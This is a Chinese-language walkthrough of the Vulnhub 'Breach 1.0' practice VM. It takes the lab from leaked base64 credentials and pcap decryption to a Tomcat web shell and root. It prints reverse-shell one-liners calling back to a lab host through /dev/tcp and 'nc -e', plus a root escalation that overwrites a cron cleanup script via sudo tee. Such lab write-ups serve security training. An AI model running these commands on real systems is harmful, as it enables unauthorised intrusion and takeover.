SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140

打开网页http://192.168.110.140/index.html

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第1张

查看源代码发现可以加密字符串

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第2张

猜测base64 解密  cGdpYmJvbnM6ZGFtbml0ZmVlbCRnb29kdG9iZWFnYW5nJHRh  得到这个结果可能是二次加密在base64解密

得到 pgibbons:damnitfeel$goodtobeagang$ta  去除:    得到两个字符串pgibbons,damnitfeel$goodtobeagang$ta

点击图片每个路径都看看发现

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第3张

可以登录 把刚刚拿到的两个密码进行尝试登录

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第4张

登录成功 发现有3个邮件

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第5张

192.168.110.140/.keystore   这个地址 为 ssl 加密证书的密钥库   继续搜索有用文件

 Vulnhub靶场渗透练习(一) Breach1.0 Safe 第6张

 发现 有信息泄露 通过邮件信息猜测 tomcat 

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第7张

发现  pcap 文件 为 wireshark  流量包 可以下载来分析

都是加密过的  可以利用前面的ssl 解密  利用java 的 keytool 获取证书  输入

D:\jdk\bin>keytool.exe -list -keystore Vulnhub靶场渗透练习(一) Breach1.0 Safe 第8张

输入密钥库口令:tomcat
密钥库类型: jks
密钥库提供方: SUN

您的密钥库包含 1 个条目

tomcat, 2016-5-21, PrivateKeyEntry,
证书指纹 (SHA1): D5:D2:49:C3:69:93:CC:E5:39:A9:DE:5C:91:DC:F1:26:A6:40:46:53

Warning:
JKS 密钥库使用专用格式。建议使用 "keytool -importkeystore -srckeystore D:\jdk\keystore -destkeystore D:\jdk\keystore -deststoretype pkcs12" 迁移到行业标准格式 PKCS12。  

解密出来 结果

接着导出 p12 证书

输入

keytool -importkeystore -srckeystore D:\jdk\keystore -destkeystore D:\tomcatkeystore.p12 -deststoretype PKCS12
-srcalias tomcat

 

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第9张

证书有了 我们就可以查看了 打开Wireshark  编辑--首选项--Protocols--SSL,点击右边的Edit:

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第10张

 

输入:192.168.110.140 8443 http 点击选择证书文件 输入密码tomcat Vulnhub靶场渗透练习(一) Breach1.0 Safe 第11张

 

发现包含登录用户名密码的数据包, 采用http basic认证,认证数据包为: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC 这是base64编码的用户名密码,将 dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC 复制到Burpsuit Decoder进行解码, 得到Tomcat登录用户名密码 Tomcat后台登录用户名:tomcat,密码:Tt\5D8F(#!*u=G)4m7zB 拿到密码 后 可以直接登录 Vulnhub靶场渗透练习(一) Breach1.0 Safe 第12张

 

Tomcat 后台是直接可以获取getshell    Vulnhub靶场渗透练习(一) Breach1.0 Safe 第13张

这里上传马以后每隔3分钟会自动删除 所以我们直接利用他反弹一个shell 这里可以用linux 自带的也可以 用msf 生成

 echo "bash -i >& /dev/tcp/192.168.110.1/4444 0>&1" | bash Vulnhub靶场渗透练习(一) Breach1.0 Safe 第14张

本机 输入 nc.exe -lvp 4444

进入项目后直接可以查看项目寻找到 两个特殊文件

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第15张

看到mysql 的用户密码

 Vulnhub靶场渗透练习(一) Breach1.0 Safe 第16张

输入 

mysql -u root -p  回车 密码空 在回车 mysql -u root -p use mysql; select user,password from user; exit Vulnhub靶场渗透练习(一) Breach1.0 Safe 第17张

发现 milton 用户   去 etc/passwd 

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第18张

发现对应用户 猜测就是这个用户密码 

到 https://www.somd5.com/ 解密,得到用户milton的明文密码:thelaststraw 切换 su -milton   用户 无法执行su命令,显示需要一个终端,之前都遇到这个问题,通过Python解决: python -c 'import pty;pty.spawn("/bin/bash")'   Vulnhub靶场渗透练习(一) Breach1.0 Safe 第19张

接着查询这个用户能否sudo   执行

sudo -l

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第20张

没发现可利用的   再从新找线索

uname -a 

系统内核版本为:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提权漏洞。存在本地提权漏洞内核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) 查找历史命令发现 Vulnhub靶场渗透练习(一) Breach1.0 Safe 第21张 su提权到了blumbergh用户。需要找到blumbergh用户的密码。将可用的资源文件下载发现 bill.png  底部是插入编码 可能是二次隐藏密码   Vulnhub靶场渗透练习(一) Breach1.0 Safe 第22张

tEXtComment  和coffeestains

利用这两个尝试登录

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第23张

登录成功

用户名:blumbergh 密码:coffeestains 查sudo 权限
blumbergh@Breach:~$ sudo -l
sudo -l
Matching Defaults entries for blumbergh on Breach:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User blumbergh may run the following commands on Breach:
(root) NOPASSWD: /usr/bin/tee /usr/share/cleanup/tidyup.sh

能够以root 权限执行  

/usr/bin/tee /usr/share/cleanup/tidyup.sh

在去查看历史命令

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第24张

发现/usr/share/cleanup和tidyup.sh脚本文件: 执行 
cd / 
blumbergh@Breach:/$ cd usr
cd usr
blumbergh@Breach:/usr$ cd share
cd share
blumbergh@Breach:/usr/share$ cd cleasnup
cd cleasnup
-su: cd: cleasnup: No such file or directory
blumbergh@Breach:/usr/share$ cd cleanup
cd cleanup

 

Vulnhub靶场渗透练习(一) Breach1.0 Safe 第25张

cat tidyup.sh

 得到
#!/bin/bash

#Hacker Evasion Script
#Initech Cyber Consulting, LLC
#Peter Gibbons and Michael Bolton - 2016
#This script is set to run every 3 minutes as an additional defense measure against hackers.

cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf

3分钟删除一次刚刚上马的路径

 刚刚看到 这个用户能够执行tee 和 sh清除脚本 tee命令用于读取标准输入的数据,并将其内容输出成文件。tidyup.sh是清理脚本。以root权限运行 这里对linux 命令要解释一下  cat 文件或者 echo ""   | tee -a  文件(要写到里面的文件) -a 不是覆盖是追加 全部我们执行 echo "nc -e /bin/bash 192.168.110.1 5555"| sudo /usr/bin/tee  /usr/share/cleanup/tidyup.sh

 Vulnhub靶场渗透练习(一) Breach1.0 Safe 第26张

cat 查看

等待nc 反弹 

  Vulnhub靶场渗透练习(一) Breach1.0 Safe 第27张

成功 记得 python -c 'import pty;pty.spawn("/bin/bash")'  显示终端

 

   

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄